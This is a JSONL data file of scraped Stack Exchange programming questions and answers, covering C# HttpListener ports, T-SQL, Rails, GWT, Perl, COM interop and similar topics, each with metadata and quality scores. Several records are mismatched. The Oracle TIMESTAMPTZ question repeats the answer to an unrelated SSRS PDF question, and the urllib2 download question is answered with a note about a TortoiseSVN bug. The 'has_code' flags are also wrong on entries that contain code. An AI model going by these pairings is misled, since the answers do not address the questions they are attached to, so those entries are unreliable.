make a single constructor support multiple argument configurations rather than having one constructor per configuration.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.661421"}
{"id": "hf_af9438e7c808", "question": "<p>I would like to create an application that serves web pages internally and can be run in multiple instances on the same machine.  To do so, I would like to create an <code>HttpListener</code> that listens on a port that is:</p>\n\n<ol>\n<li>Randomly selected </li>\n<li>Currently unused</li>\n</ol>\n\n<p>Essentially, what I would like is something like:</p>\n\n<pre><code>mListener = new HttpListener();\nmListener.Prefixes.Add(\"http://*:0/\");\nmListener.Start();\nselectedPort = mListener.Port;\n</code></pre>\n\n<p>How can I accomplish this?</p>\n", "question_body": "", "answer": "How about something like this:\n```\n```\nstatic List<int> usedPorts = new List<int>();\n    static Random r = new Random();\n\n    public HttpListener CreateNewListener()\n    {\n        HttpListener mListener;\n        int newPort = -1;\n        while (true)\n        {\n            mListener = new HttpListener();\n            newPort = r.Next(49152, 65535); // IANA suggests the range 49152 to 65535 for dynamic or private ports.\n            if (usedPorts.Contains(newPort))\n            {\n                continue;\n            }\n            mListener.Prefixes.Add(string.Format(\"http://*:{0}/\", newPort));\n            try\n            {\n                mListener.Start();\n            }\n            catch\n            {\n                continue;\n            }\n            usedPorts.Add(newPort);\n            break;\n        }\n\n        return mListener;\n    }\n```\n```\nI'm not sure how you would find all of the ports that are in use on that machine, but you should get an exception if you try to listen on a port that is already being used, in which case the method will simply pick another port.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.685387"}
{"id": "hf_d7074fa5297c", "question": "<p>I'm looking for a database of commonly installed Windows software. At minimum I need the name of the software and the executable name, but it'd also be nice to have the publisher and the common installation path, etc. Basically, I'd like to be able to query it to find all the software by Adobe and the associated executable name, etc. </p>\n\n<p>Basically I'm looking to be able to do </p>\n\n<pre><code>SELECT * FROM Software WHERE Publisher = 'Microsoft' \nSELECT * FROM Software WHERE Executable = 'devenv.com'\n</code></pre>\n\n<p>I came across an effort to create such a database a long time ago, but can't seem to find it now. Maybe it fizzled out. Any help would be greatly appreciated. Thanks.</p>\n", "question_body": "", "answer": "You can do some\nscreen scraping\nwith some website that contain\nlist of software\nand build yourself a database of all software and publisher.\nHere is some website that contain some list of software:\nhttp://www.digital-digest.com/software/index.php\nhttp://www.bestshareware.net/allsoftware-w.htm", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.720675"}
{"id": "hf_88e3b480d656", "question": "<p>I'd like to sprinkle some print statements in my code to show where I am and print important values to a console window.</p>\n\n<p>How do I do that, but then be able to turn it off for the release version?</p>\n", "question_body": "", "answer": "All calls to\n```\nSystem.Diagnostics.Debug.Print()\n```\nwill be removed when you switch to a release version.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.745322"}
{"id": "hf_9cd9b6795d19", "question": "<p>I have a simple SQL Server 2005 Reporting Services report with a bar chart. When I print directly from the preview window in Visual Studio everything looks good, but if I export the report to a PDF file and print it then the labels and even some of the vertical lines come out pixelated. How can I increase the resolution of the PDF export? </p>\n\n<p>EDIT:</p>\n\n<p>Setting <code>HumanReadablePDF=True</code> makes the PDF much larger (4 mb vs. 20 kb), but the chart still looks the same. </p>\n\n<p>I can print directly from the preview window to a PDF file (using PrimoPDF) and the chart looks good -- maybe there's a way to do that instead of using the SSRS export function?</p>\n", "question_body": "", "answer": "Try messing with the device information settings, in particular the HumanReadiblePdf attribute.\nhttp://msdn.microsoft.com/en-us/library/ms154682.aspx\nIIRC the setting is actually the opposite of what the documentation hints at compression wise.\nAlso take a look here:\nhttp://blogs.msdn.com/donovans/pages/reporting-services-pdf-renderer-faq.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.794094"}
{"id": "hf_eb6d8dc7c7ac", "question": "<p>I'm running Oracle 10g and have columns with Type_Name </p>\n\n<pre>TIMESTAMP(6) WITH TIME ZONE</pre> \n\n<p>When inflated into java classes they come out as</p>\n\n<pre>oracle.sql.TIMESTAMPTZ </pre>\n\n<p>But DbUnit can't handle converting Oracle specific classes to Strings for writing to XML. I'm wondering if there's any easy way for me to convert (say, in my SELECT statement somehow) from these Oracle specific timestamps to something in java.sql.</p>\n", "question_body": "", "answer": "Try messing with the device information settings, in particular the HumanReadiblePdf attribute.\nhttp://msdn.microsoft.com/en-us/library/ms154682.aspx\nIIRC the setting is actually the opposite of what the documentation hints at compression wise.\nAlso take a look here:\nhttp://blogs.msdn.com/donovans/pages/reporting-services-pdf-renderer-faq.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.819152"}
{"id": "hf_1239e8ca458d", "question": "<p>Say you have a web form with some fields that you want to validate to be only some subset of alphanumeric, a minimum or maximum length etc.</p>\n\n<p>You can validate in the client with javascript, you can post the data back to the server and report back to the user, either via ajax or not. You could have the validation rules in the database and push back error messages to the user that way.</p>\n\n<p>Or any combination of all of the above.</p>\n\n<p>If you want a single place to keep validation rules for web application user data that persist to a database, what are some best practices, patterns or general good advice for doing so?</p>\n\n<p>[edit]</p>\n\n<p>I have edited the question title to better reflect my actual question! Some great answers so far btw.</p>\n", "question_body": "", "answer": "all of the above:\nclient-side validation is more convenient for the user\nbut you can't trust the client so the code-behind should also validate\nsimilarly the database can't trust that you validated so validate there too\nEDIT: i see that you've edited the question to ask for a single point of specification for validation rules. This is called a \"Data Dictionary\" (DD), and is a Good Thing to have and use to generate validation rules in the different layers. Most systems don't, however, so don't feel bad if you never get around to building such a thing ;-)\nOne possible/simple design for a DD for a modern 3-tier system might just include - along with the usual max-size/min-size/datatype info - a Javascript expression/function field, C# assembly/class/method field(s), and a sql expression field. The javascript could be slotted into the client-side validation, the C# info could be used for a reflection load/call for server-side validation, and the sql expression could be used for database validation.\nBut while this is all good in theory, I don't know of any real-world systems that actually do this in practice [though it \"sounds\" like a Good Idea].\nIf you do, let us know how it goes!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.843047"}
{"id": "hf_40e85d00857f", "question": "<p>Having difficulty articulating this correlated subquery.  I have two tables fictitious tables, foo and bar. foo has two fields of foo_id and total_count. bar has two fields, seconds and id.</p>\n\n<p>I need to aggregate the seconds in bar for each individual id and update the total_count in foo. id is a foreign key in bar for foo_id.</p>\n\n<p>I've tried something similar without much luck:</p>\n\n<pre><code>UPDATE foo f1 set total_count = (SELECT SUM(seconds) from bar b1 INNER JOIN foo f2     WHERE b1.foo_id = f2.id) WHERE f1.foo_id = bar.id;\n</code></pre>\n", "question_body": "", "answer": "I hope I understood your question right.\nYou have the following tables:\ntable\n```\nfoo\n```\n- columns:\n```\nid\n```\nand\n```\ntotal_count\n```\ntable\n```\nbar\n```\n- columns:\n```\nfoo_id\n```\n(references\n```\nfoo.id\n```\n) and\n```\nseconds\n```\nThe following query should work (update all\n```\ntotal_count\n```\nrows in table\n```\nfoo\n```\n):\n```\n```\nUPDATE foo AS f1\nSET total_count = (\n  SELECT SUM(seconds) \n  FROM bar INNER JOIN foo \n  WHERE foo_id = f1.id\n);\n```\n```\nI'm not sure what you are trying to do with your last\n```\nWHERE\n```\nclause (\n```\nWHERE f1.foo_id = bar.id;\n```\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.867951"}
{"id": "hf_ccec9dd432a3", "question": "<p>I'm new to Rails development, and I'm trying to figure out how to use an older version of Rails with Apatana's RadRails IDE.  I'm trying to help out a friend who has a site built on older version than the one that automatically gets downloaded by RadRails, and I'm pretty sure the two versions wouldn't be compatible (the site is using some pre 2.0 version, not sure of the exact number offhand).</p>\n\n<p>Is there a way to tell RadRails to get and use a specific version of Rails?  Or is there something I can do at the command line to change the installed version of Rails? I'm only vaguely familiar with the \"gem\" package system, but I'm assuming it would involve that.</p>\n\n<p>Any help would be much appreciated!</p>\n", "question_body": "", "answer": "Use the Rake task\n```\nrails:freeze:gems\n```\nin your rails project and give it the version you want to use.  For example:\n```\n```\nrake rails:freeze:gems VERSION=2.1.0\n```\n```\nThat will put the right version of Rails into\n```\nvendor/rails\n```\n, which is loaded by default if it exists.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.903974"}
{"id": "hf_9f71c610a2ed", "question": "<p>Say you create a form using ASP.NET MVC that has a dynamic number of form elements.</p>\n\n<p>For instance, you need a checkbox for each product, and the number of products changes day by day.</p>\n\n<p>How would you handle that form data being posted back to the controller? You can't set up parameters on the action method because you don't know how many form values are going to be coming back.</p>\n", "question_body": "", "answer": "Depending on your data, you could either output a 'CheckboxList' (which is not possible in the newer versions any more) and use a\n```\nstring[]\n```\nparameter, or you could set up multiple forms and just modify the action.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.931231"}
{"id": "hf_26cf86257b42", "question": "<p>I'd like to write a Ruby snippet that gets run when my Gem is first installed via <code>[sudo ]gem install mygem</code>.  Can it be done?</p>\n", "question_body": "", "answer": "You can try to do this using call of OS commands. I'll quote eample from irb but you can do same in your scripts too.\n```\n```\nirb(main):001:0> system 'gem list | grep rails'\nrails (2.1.1, 2.1.0)\n=> true\nirb(main):002:0> system 'gem list | grep railssssss'\n=> false\n```\n```\nYou can use result of this command as the condition of your snippet execution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.954775"}
{"id": "hf_2fe99509fac5", "question": "<p>I am trying to call a COM object from PHP using the COM interop extension. One function requires an OLE_COLOR as an argument? Is there any way to pass this kind of value from PHP?</p>\n\n<p>I have tried passing a simple integer value with no success.</p>\n\n<pre><code>$this-&gt;oBuilder-&gt;Font-&gt;Color = 255;\n</code></pre>\n", "question_body": "", "answer": "When I've called COM functions from PHP, I just passed them in the call.  So my old code has:\n```\n$myComObject = new COM(\"MY_COM_OBJECT\");\n$myComObject->Myfunction( myVar1, myVar2, 'my string var');\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:39.978348"}
{"id": "hf_e20213e8186d", "question": "<p>How do I pull out the filename from a full path using regular expressions in C#?</p>\n\n<p>Say I have the full path <code>C:\\CoolDirectory\\CoolSubdirectory\\CoolFile.txt</code>.</p>\n\n<p>How do I get out CoolFile.txt using the .NET flavor of regular expressions? I'm not really good with regular expressions, and my RegEx buddy and me couldn't figure this one out.</p>\n\n<p>Also, in the course of trying to solve this problem, I realized that I can just use  <code>System.IO.Path.GetFileName</code>, but the fact that I couldn't figure out the regular expression is just making me unhappy and it's going to bother me until I know what the answer is.</p>\n", "question_body": "", "answer": "Why must you use regular expressions? .NET has the built-in\n```\nPath.GetFileName()\n```\nmethod specifically for this which works across platforms and filesystems.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.001904"}
{"id": "hf_ff413874a157", "question": "<p>How can I create a Delphi TSpeedButton or SpeedButton in C# 2.0?</p>\n", "question_body": "", "answer": "Does\nthis\nhelp? Looks like you would have to handle the OnPaint event, and not take focus...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.050750"}
{"id": "hf_91ad3cb18cae", "question": "<p>I want to do something like </p>\n\n<pre><code>insert into my table (select * from anothertable where id &lt; 5)\n</code></pre>\n\n<p>What is the correct MSSQL syntax?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Is this what you're looking for?\n```\n```\nINSERT INTO MyTable\nSELECT * FROM AnotherTable\nWHERE AnotherTable.ID < 5\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.115526"}
{"id": "hf_d2fb85f2e966", "question": "<p>In Visual Studio, two files are created when you create a new Windows Form in your solution (e.g. if you create MyForm.cs, MyForm.Designer.cs and MyForm.resx are also created). These second two files are displayed as a subtree in the Solution Explorer.</p>\n\n<p><strong>Is there any way to add files to the sub-tree or group for a Windows Form class?</strong></p>\n", "question_body": "", "answer": "You need to edit the csproj directly. There is a DependentUpon tag that you have to add as a child tag of the file you want to place under MyForm.cs.\nExample:\n```\n```\n<Compile Include=\"MyForm.MyCoolSubFile.cs\">\n  <DependentUpon>MyForm.cs</DependentUpon>\n</Compile>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.152609"}
{"id": "hf_4c98e441165d", "question": "<p>I have a simple query like this:</p>\n\n<pre><code>select * from mytable where id &gt; 8\n</code></pre>\n\n<p>I want to make the 8 a variable.  There's some syntax like </p>\n\n<pre><code>declare @myvar int\nmyvar = 8\n</code></pre>\n\n<p>but I don't know the exact syntax.</p>\n\n<p>What is it?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "```\n```\ndeclare @myvar int\n\nselect @myvar = 8\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.214119"}
{"id": "hf_710214a353e7", "question": "<p>Even a simple <a href=\"http://en.wikipedia.org/wiki/Notepad_%28software%29\" rel=\"noreferrer\">Notepad</a> application in C# consumes megabytes of RAM as seen in the task manager. On minimizing the application the memory size in the task manager goes down considerably and is back up when the application is maximized.</p>\n\n<p>I read somewhere that the .NET process reserves a lot of memory for runtime allocation in advance. That's why .NET applications have a larger memory footprint to start with. But this memory can be released using Win32 API calls. A trade-off is that runtime allocation becomes slow -  is that true?</p>\n", "question_body": "", "answer": "The reason for the large memory footprint is that the JIT compiler and\nWindows Forms\nengine are being loaded with your process. To reduce this, you can do the following:\n```\n```\n[DllImport(\"psapi.dll\")]\nstatic extern int EmptyWorkingSet(IntPtr hwProc);\n\nstatic void MinimizeFootprint()\n{\n    EmptyWorkingSet(Process.GetCurrentProcess().Handle);\n}\n```\n```\nThis should remove as much as possible from your memory footprint. There may be a way that you can also reduce the amount of memory that is set aside for runtime memory allocation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.250843"}
{"id": "hf_65e906f6307b", "question": "<p>What is MySQL equivalent of the <code>Nz</code> Function in Microsoft Access? Is <code>Nz</code> a SQL standard?</p>\n\n<p>In Access, the <code>Nz</code> function lets you return a value when a variant is null. <a href=\"http://www.techonthenet.com/access/functions/advanced/nz.php\" rel=\"nofollow noreferrer\">Source</a></p>\n\n<p>The syntax for the <code>Nz</code> function is:</p>\n\n<pre><code>Nz ( variant, [ value_if_null ] )\n</code></pre>\n", "question_body": "", "answer": "You might want to look at\n```\nIFNULL\n```\nor\n```\nCOALESCE\n```\n. If I recall correctly,\n```\nIFNULL\n```\nworks for MySQL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.311343"}
{"id": "hf_871379b37f13", "question": "<p>This may not be the correct way to use controllers, but I did notice this problem and hadn't figured out a way to correct it. </p>\n\n<pre><code>public JsonResult SomeControllerAction() {\n\n    //The current method has the HttpContext just fine\n    bool currentIsNotNull = (this.HttpContext == null); //which is false    \n\n    //creating a new instance of another controller\n    SomeOtherController controller = new SomeOtherController();\n    bool isNull = (controller.HttpContext == null); // which is true\n\n    //The actual HttpContext is fine in both\n    bool notNull = (System.Web.HttpContext.Current == null); // which is false        \n\n}\n</code></pre>\n\n<p>I've noticed that the HttpContext on a Controller isn't the \"actual\" HttpContext that you would find in System.Web.HttpContext.Current. </p>\n\n<p>Is there some way to manually populate the HttpContextBase on a Controller? Or a better way to create an instance of a Controller?</p>\n", "question_body": "", "answer": "Is it that you want to use some functionality from the controller? Or have the controller perform an action?\nIf it's the former, maybe that's some code that should be split out into another class. If it's the latter, you can do this to simply have that controller do a specific action:\n```\n```\nreturn RedirectToAction(\"SomeAction\", \"SomeOtherController\", new {param1 = \"Something\" });\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.349932"}
{"id": "hf_226651551863", "question": "<p>I'm trying to have a new layer appear above existing content on my site when a link/button is clicked.  I am using jquery - but the code I have doesn't seem to work as expected.</p>\n\n<p>Here is what I have:</p>\n\n<pre><code> $(document).ready(function(){\n  $(\"#button\").click(function () {\n  $(\"#showme\").insertAfter(\"#bodytag\")\n  $(\"#showme\").fadeIn(2000);\n});\n</code></pre>\n\n<p>});</p>\n\n<p>The effect I'm after is to have <code>&lt;div id=\"showme\"&gt;...&lt;/div&gt;</code> appear directly after the #bodytag.  <code>&lt;div id=\"showme\"&gt;...&lt;/div&gt;</code> has a z-index higher than anything else on the site, so it should just appear above the content directly after the #bodytag.</p>\n\n<p>Thanks for the assistance.</p>\n", "question_body": "", "answer": "Make sure\n```\n#showme\n```\nhas a\n```\nposition\n```\nother than\n```\nstatic\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.388125"}
{"id": "hf_b7236cf9b807", "question": "<p>What are pros and cons of having dedicated application pools over keeping web applications in one default app pool?</p>\n", "question_body": "", "answer": "Dedicated app pools typically will keep problems occurring in one site from effecting the others.  If you share app pools across sites, you could bring down all sites on the box when an error condition exists for only a specific site (or app pool).\nAlso, if you are mixing versions of ASP.Net on the same web server, you will need different app pools per ASP.Net version at a minimum, or do it per website.\nI can't think of a good reason not to separate app pools, it is so easy to do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.438326"}
{"id": "hf_d8b6181c934e", "question": "<pre><code>url = \"http://example.com/file.xml\"\ndata = urllib2.urlopen(url)\ndata.read()\n</code></pre>\n\n<p>The question is, when exactly will the file be downloaded from the internet? When i do urlopen or .read()? On my network interface I see high traffic both times. </p>\n", "question_body": "", "answer": "I think I remember reading about a bug relating to this in TortoiseSVN that's been fixed in the latest release.  Check the latest\nrelease notes\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.534080"}
{"id": "hf_a8dc812e0884", "question": "<p>How does the Chinese GB18030 code set differ from Unicode?</p>\n\n<p>What special techniques are required for handling GB18030?</p>\n\n<p>Are there any (open source) libraries for handling GB18030?</p>\n", "question_body": "", "answer": "As per the\nWikipedia article on GB18030\n, \"GB18030 can be be considered a Unicode Transformation Format (i.e. an encoding of all Unicode code points) that maintains compatibility with a legacy character set.\" That is, all Unicode characters can be encoded in GB18030, but they will be encoded with different byte sequences than would be generated with UTF-8 or UTF-16. Handling the GB18030 encoding doesn't require any more special techniques than are required for any other non-Unicode encoding.\nThe\nICU project\nis an open source library (for C or Java) that has full support for many different encodings, including GB18030. Information on converting between different encodings with ICU can be found\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.573335"}
{"id": "hf_7e72a0ea23a9", "question": "<p>I would like my GWT program to be able to determine whether it's in hosted mode or in web mode.  Is there a way to do this?</p>\n\n<p>Thanks! </p>\n", "question_body": "", "answer": "GWT.isScript() returns true in non hosted mode and false in hosted mode.\nhttp://google-web-toolkit.googlecode.com/svn/javadoc/1.5/com/google/gwt/core/client/GWT.html#isScript()", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.615698"}
{"id": "hf_5ed551fbfd13", "question": "<p>I have a static object at runtime that is basically a list of other objects (ints, strings, Dictionary, other objects, etc).  Is there way to determine the memory used by my static \"list of other objects\" object at runtime?  This would be handy for instrumentation and reporting purposes.</p>\n", "question_body": "", "answer": "You are probably asking for something you could call from your code (which I would like to know too), but I felt I should mention Ants profiler [\nhttp://www.red-gate.com/Products/ants_profiler/index.htm]\nin case others aren't looking for something as specific. It will tell you all kinds of information about your code while it's executing including how much memory is being used.\nFrom their website...\nProfile memory to understand how your\n  application uses memory, and to locate\n  memory leaks. The memory profiler\n  allows you to take snapshots at any\n  point in the execution of your\n  program, so you can see what memory is\n  in use at that point. You can take\n  multiple snapshots at different times\n  while your application is running, so\n  you can compare application memory\n  states.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.649048"}
{"id": "hf_c95fc0414119", "question": "<p>What is the Perl equivalent of <code>strlen()</code>?</p>\n", "question_body": "", "answer": "```\nlength($string)\n```\n```\nperldoc -f length\n\n   length EXPR\n   length  Returns the length in characters of the value of EXPR.  If EXPR is\n           omitted, returns length of $_.  Note that this cannot be used on an\n           entire array or hash to find out how many elements these have.  For\n           that, use \"scalar @array\" and \"scalar keys %hash\" respectively.\n\n           Note the characters: if the EXPR is in Unicode, you will get the num-\n           ber of characters, not the number of bytes.  To get the length in\n           bytes, use \"do { use bytes; length(EXPR) }\", see bytes.\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.700456"}
{"id": "hf_e08387b78031", "question": "<p>I've just started learning linq and lambda expressions, and they seem to be a good fit for finding duplicates in a complex object collection, but I'm getting a little confused and hope someone can help put me back on the path to happy coding.</p>\n\n<p>My object is structured like list.list.uniqueCustomerIdentifier</p>\n\n<p>I need to ensure there are no duplicate uniqueCustomerIdentifier with in the entire complex object. If there are duplicates, I need to identify which are duplicated and return a list of the duplicates.</p>\n", "question_body": "", "answer": "There is a linq operator Distinct( ), that allows you to filter down to a distinct set of records if you only want the ids. If you have setup your class to override equals you or have an\nIEqualityComparer\nyou can directly call the Distinct extension method to return the unique results from the list. As an added bonus you can also use the Union and Intersect methods to merge or filter between two lists.\nAnother option would be to group by the id and then select the first element.\n```\n```\nvar results = from item in list\n              group item by item.id into g\n              select g.First();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.737516"}
{"id": "hf_8124f5ed9fda", "question": "<p>Which industry-class database has the most <strong>unique</strong> features? (with \"unique\" meaning that no other RDBMS has them)</p>\n\n<p>I think my choice here is Oracle 11g:</p>\n\n<ol>\n<li>Flashback query (you can estract data as it was a moment in the past)</li>\n<li>ASM - automatic storage management</li>\n<li>Native code compilation of stored procedures</li>\n<li>Audit features (tracing everything, from logins to statements)</li>\n</ol>\n\n<p>and many others.</p>\n", "question_body": "", "answer": "http://en.wikipedia.org/wiki/Comparison_of_relational_database_management_systems\n&&\nhttp://en.wikipedia.org/wiki/Comparison_of_object-relational_database_management_systems\nwould be where I'd start.\nAs to truly \"unique\" features? I've seen things I thought were unique that turned out to be common once I did more digging :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.775395"}
{"id": "hf_74d67b6c32f8", "question": "<p>I get to dust off my VBScript hat and write some classic ASP to query a SQL Server 2000 database.</p>\n\n<p>Here's the scenario:</p>\n\n<ul>\n<li>I have two <em>datetime</em> fields called <strong>fieldA</strong> and <strong>fieldB</strong>.</li>\n<li><strong>fieldB</strong> will never have a year value that's greater than the year of <strong>fieldA</strong></li>\n<li>It <strong>is</strong> possible the that two fields will have the same year.</li>\n</ul>\n\n<p>What I want is all records where <strong>fieldA</strong> >= <strong>fieldB</strong>, <em>independent of the year</em>.  Just pretend that each field is just a month &amp; day.</p>\n\n<p>How can I get this?  My knowledge of T-SQL date/time functions is spotty at best.</p>\n", "question_body": "", "answer": "```\n```\nselect *\nfrom t\nwhere datepart(month,t.fieldA) >= datepart(month,t.fieldB)\n      or (datepart(month,t.fieldA) = datepart(month,t.fieldB)\n            and datepart(day,t.fieldA) >= datepart(day,t.fieldB))\n```\n```\nIf you care about hours, minutes, seconds, you'll need to extend this to cover the cases, although it may be faster to cast to a suitable string, remove the year and compare.\n```\n```\nselect *\nfrom t\nwhere substring(convert(varchar,t.fieldA,21),5,20)\n         >= substring(convert(varchar,t.fieldB,21),5,20)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.803250"}
{"id": "hf_cb319d0c04a9", "question": "<p>I would like to append a path to the PATH environment variable in a Visual Studio 2005 deployment project.  How does one do this?</p>\n", "question_body": "", "answer": "You need to add a row to the Environment Table of the MSI file to do this.  You can find information on that table here,\nhttp://msdn.microsoft.com/en-us/library/aa368369(VS.85).aspx\n.  You can use Orca to do this or automate the procedure with some VB Script.  The platform SDK contains the VB script file, WiRunSQL.vbs that can you used to automate build actions for your program.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:40.840397"}
